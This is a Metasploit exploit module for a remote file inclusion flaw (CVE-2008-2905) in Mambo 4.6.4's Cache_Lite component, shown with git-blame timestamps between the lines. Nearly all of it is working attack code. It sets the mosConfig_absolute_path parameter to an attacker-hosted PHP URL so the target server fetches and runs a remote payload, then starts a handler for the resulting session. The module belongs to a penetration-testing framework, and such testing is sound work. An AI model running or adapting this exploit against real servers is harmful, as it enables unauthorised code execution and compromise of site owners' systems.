Files
metasploit-gs/modules/exploits/unix/webapp/mambo_cache_lite.rb
T

69 lines
1.9 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2009-12-15 18:47:29 +00:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2013-08-30 16:28:54 -05:00
Rank = ExcellentRanking
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::PHPInclude
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include',
'Description' => %q{
This module exploits a remote file inclusion vulnerability in
includes/Cache/Lite/Output.php in the Cache_Lite package in Mambo
4.6.4 and earlier.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-2905' ],
[ 'OSVDB', '46173' ],
2013-08-30 16:28:54 -05:00
[ 'BID', '29716' ],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'ConnectionType' => 'find',
},
'Space' => 32768,
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Jun 14 2008',
'DefaultTarget' => 0))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('PHPURI', [true, "The URI to request, with the include parameter changed to !URL!", "/includes/Cache/Lite/Output.php?mosConfig_absolute_path=!URL!"]),
])
2013-08-30 16:28:54 -05:00
end
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
def php_exploit
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
timeout = 0.01
uri = datastore['PHPURI'].gsub('!URL!', Rex::Text.to_hex(php_include_url, "%"))
print_status("Trying uri #{uri}")
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
response = send_request_raw( {
'global' => true,
'uri' => uri,
},timeout)
2009-12-15 18:47:29 +00:00
2013-08-30 16:28:54 -05:00
if response and response.code != 200
print_error("Server returned non-200 status code (#{response.code})")
end
2013-08-30 16:28:54 -05:00
handler
end
2009-12-15 18:47:29 +00:00
end